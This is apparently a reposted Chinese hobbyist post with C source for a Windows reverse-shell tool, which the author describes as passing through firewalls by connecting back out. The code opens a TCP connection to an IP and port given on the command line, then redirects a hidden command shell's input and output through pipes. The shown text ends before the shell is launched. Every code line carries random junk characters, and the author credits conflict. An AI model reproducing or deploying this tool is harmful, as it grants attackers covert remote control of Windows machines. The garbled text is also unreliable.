这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DbPw)aCj
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Rebound port in Windows NT tjDVU7um
By wind,2006/7 ed{z^!w4
===============================*/ l-t:7`=|
#include YvBUx#\
#include b\=0[kBQw
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#pragma comment(lib,"wsock32.lib") T:;e 73
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void OutputShell(); <+_OgF1G
SOCKET sClient; B'yN &3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gQ?>%t]
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void main(int argc,char **argv) WgE~H)_%
{ hJFQ/(
WSADATA stWsaData; 2Q9s?C
int nRet; r2""p
SOCKADDR_IN stSaiClient,stSaiServer; ;-*4 (3lu
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if(argc != 3) M/UJb1<
{ LYWQqxB
printf("Useage:\n\rRebound DestIP DestPort\n"); p@cPm8L3
return; M_9|YjwS
} _
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WSAStartup(MAKEWORD(2,2),&stWsaData); 'd(}bYr)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -.^Mt.)
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stSaiClient.sin_family = AF_INET; jy&p_v1
stSaiClient.sin_port = htons(0); m?[F)<~a
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t$\]6RU
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >IoOCQQ*
{ H7l[5ib
printf("Bind Socket Failed!\n"); $9W9* WQL
return; +BzKO >
} IH>+P]+3"3
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stSaiServer.sin_family = AF_INET; &]#D`u
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T+sO(;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i]Kq
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1ed#nB%
{ j1/J9F'
printf("Connect Error!"); 3kKXzIh
return; -MB,]m
} x!I7vs~~zW
OutputShell(); |2n2
} >{m>&u;Cc
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void OutputShell() /eIwv31
{ nHZ 4):`
char szBuff[1024]; WU=Os8gR
SECURITY_ATTRIBUTES stSecurityAttributes; /8Vh G|Wb
OSVERSIONINFO stOsversionInfo; !*CL>}-,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E(u[?
STARTUPINFO stStartupInfo; +?mZ_sf8w
char *szShell; ^~(bm$4r
PROCESS_INFORMATION stProcessInformation; =FwFqjvl
unsigned long lBytesRead; QF%@MK0zC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Oh8;YE-%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g{<3*,
stSecurityAttributes.lpSecurityDescriptor = 0; anl?4q3;9
stSecurityAttributes.bInheritHandle = TRUE; k U3]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t`F%$q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a2).Az
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &3u*
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &<!I]:Y
stStartupInfo.wShowWindow = SW_HIDE; >TL0hBaaR
stStartupInfo.hStdInput = hReadPipe; `0.5aa
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [bGdg
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GetVersionEx(&stOsversionInfo); Nb B`6@r
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